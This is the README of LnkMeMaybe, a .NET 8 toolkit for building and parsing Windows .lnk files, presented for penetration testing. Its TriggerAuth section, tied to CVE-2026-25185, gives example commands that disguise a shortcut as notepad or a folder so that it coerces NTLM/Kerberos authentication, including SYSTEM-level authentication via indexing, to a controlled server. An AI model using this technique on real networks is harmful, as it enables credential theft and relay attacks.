trustedsec/LnkMeMaybe
GitHub: trustedsec/LnkMeMaybe
一个用于创建和分析 Windows Shell Link(.lnk)文件的 .NET 8 工具包,主要面向安全研究和渗透测试场景。
Stars: 181 | Forks: 11
# LnkMeMaybe
一个用于创建和分析 Windows Shell Link (`.lnk`) 文件的 .NET 8 工具包。包含一个命令行构建器 (`LnkMeMaybe`) 和一个图形化编辑器 (`LnkUi`)。主要用于安全研究和渗透测试。
## 项目
| 项目 | 描述 |
|---------|-------------|
| `Lnk/` | 核心库。根据 [MS-SHLLINK](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/) 规范解析和生成 `.lnk` 二进制格式。`LnkHandler` 是主入口点,用于组合 `ShellLinkHeader`、`LinkTargetIDList`、`LinkInfo`、`StringData` 和 `ExtraData`。 |
| `LnkMeMaybe/` | CLI 工具。包含用于生成各种 `.lnk` 文件的命令。使用 Titanis.Cli 框架。 |
| `LnkUi/` | 基于 Avalonia 11 MVVM 的桌面编辑器。七个 ViewModel 封装了相应的 `Lnk` 库组件。适用于手动探索和检查 `.lnk` 文件。 |
| `LnkTests/` | MSTest 测试套件。将真实的 `.lnk` 文件样本作为资源嵌入。覆盖了 `ShellLinkHeader` 和 `LinkInfo`。 |
## CLI — LnkMeMaybe
### 通用参数
所有命令共享以下基础参数(来自 `BaseSavedCommand`):
| 参数 | 别名 | 必需 | 描述 |
|-----------|-------|----------|-------------|
| `--OutputPath` | | 是 | 用于写入 `.lnk` 文件的系统路径。 |
| `--Overwrite` | | 否 | 允许覆盖 `OutputPath` 处的现有文件。 |
| `--DisplayName` | | 否 | 鼠标悬停在快捷方式上时显示的文本。支持使用 `\n` 换行。 |
| `--IconPath` / `-I` | `-I` | 否 | 作为快捷方式图标的 `.exe` 或 `.dll` 文件路径。必须存在于**目标**系统上。 |
| `--IconIndex` | | 否 | `--IconPath` 指定文件内的图标资源索引。默认:`0`。 |
### `TriggerAuth` (CVE-2026-25185)
创建一个 `.lnk` 文件,触发向指定服务器的 Kerberos(回退到 NTLM)身份验证。该 `.lnk` **不会**执行任何操作。
**触发身份验证的场景:**
1. 用户浏览包含该 `.lnk` 的共享文件夹 —— 用户的账户会进行出站身份验证。
2. 该 `.lnk` 被放置在机器配置为建立索引的位置 —— `SearchProtocolHost` 将以 SYSTEM 身份进行身份验证。
3. MSSense 正在运行且该位置未被排除 —— `MSSense.exe` 将以 SYSTEM 身份进行身份验证。
**参数:**
| 参数 | 别名 | 必需 | 描述 |
|-----------|-------|----------|-------------|
| `--FakePath` / `-F` | `-F` | 是 | 在 `.lnk` 属性中作为目标显示的路径。 |
| `--Server` / `-S` | `-S` | 是 | 用于接收身份验证的服务器主机名、IP 或 UNC 路径。如果未指定共享,将自动附加 `IPC$`。 |
| `--Darwin` | | 否 | 存储在 `.lnk` 中的 Darwin 标识符。可以是任何值。默认:`unset`。 |
**示例:**
```
# 伪装成 notepad 向 \\controlled.example.org\IPC$ 发送认证
LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk
# 伪装成文件夹快捷方式向特定共享路径发送认证
LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk
```
### `WebShortcut`
创建一个指向 web URL 的 `.lnk` 文件。通常 Windows 会为 web 快捷方式创建 `.url` 文件;此命令会生成一个 `.lnk` 文件。
**参数:**
| 参数 | 必需 | 描述 |
|-----------|----------|-------------|
| `--Url` | 是 | 快捷方式应指向的 URL。必须是格式正确的绝对 URI。 |
**示例:**
```
LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk
```
### `LocalShortcut`
创建指向本地文件或文件夹的标准 Windows 快捷方式。目标路径以 shell item ID list (PIDL) 格式存储——这是 Windows 用于文件系统快捷方式的原生格式。
**参数:**
| 参数 | 别名 | 必需 | 描述 |
|-----------|-------|----------|-------------|
| `--TargetPath` | | 是 | 目标文件或文件夹的绝对路径。 |
| `--Arguments` | | 否 | 传递给目标的命令行参数。 |
| `--WorkingDirectory` | `-W` | 否 | 目标进程的工作目录。 |
| `--RunAsAdmin` | | 否 | 在启动快捷方式时请求 UAC 提权。 |
| `--ShowCommand` | | 否 | 启动时的窗口状态:`Normal`、`Maximized` 或 `Minimized`。 |
**示例:**
```
# 创建指向 Notepad 的快捷方式
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk
# 带参数和自定义图标的快捷方式
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe
# 最大化打开并请求提权的快捷方式
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk
```
### `EnvShortcut`
创建一个 `.lnk` 文件,其目标路径以可扩展的环境变量字符串 (`EnvironmentVariableDataBlock`) 形式存储。这是 Windows 用于系统可执行文件(例如 `%SystemRoot%\system32\notepad.exe`)快捷方式的格式。变量在启动时展开,使得快捷方式可以在不同的 Windows 安装中移植。
**参数:**
| 参数 | 别名 | 必需 | 描述 |
|-----------|-------|----------|-------------|
| `--TargetPath` | | 是 | 目标路径,可能包含如 `%SystemRoot%` 或 `%USERPROFILE%` 等环境变量。 |
| `--Arguments` | | 否 | 传递给目标的命令行参数。 |
| `--WorkingDirectory` | `-W` | 否 | 目标进程的工作目录。 |
| `--RunAsAdmin` | | 否 | 在启动快捷方式时请求 UAC 提权。 |
| `--ShowCommand` | | 否 | 启动时的窗口状态:`Normal`、`Maximized` 或 `Minimized`。 |
**示例:**
```
# 使用环境变量路径创建指向 Notepad 的快捷方式
LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk
# 带参数指向用户配置文件应用程序的快捷方式
LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk
```
## 构建
```
# 构建(debug)
dotnet build Lnk.sln
# 构建(release,仅限 core projects)
dotnet build -c Release build.slnf
# 运行所有测试
dotnet test
# 运行特定的测试类
dotnet test --filter "ClassName=lnkHeader"
# 发布自包含单文件可执行文件(Windows x64)
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj
```
## 发布版本
适用于 Windows、Linux 和 macOS(x64 和 arm64)的预编译二进制文件可在 [Releases](../../releases) 页面获取。
每个版本都包含 `LnkMeMaybe` 和 `LnkUi` 的**独立**(无需 .NET runtime)和**依赖框架**(需要 .NET 8 runtime)构建版本。
## AI 使用声明
在以下任务中使用了 AI 系统:
- 代码质量审查
- 自述文件生成
- Github workflow actions
除此之外,本仓库中的代码均由人工编写和审查。
标签:Avalonia, CLI 工具, .NET 8, Windows 快捷方式, 插件系统, 知识库安全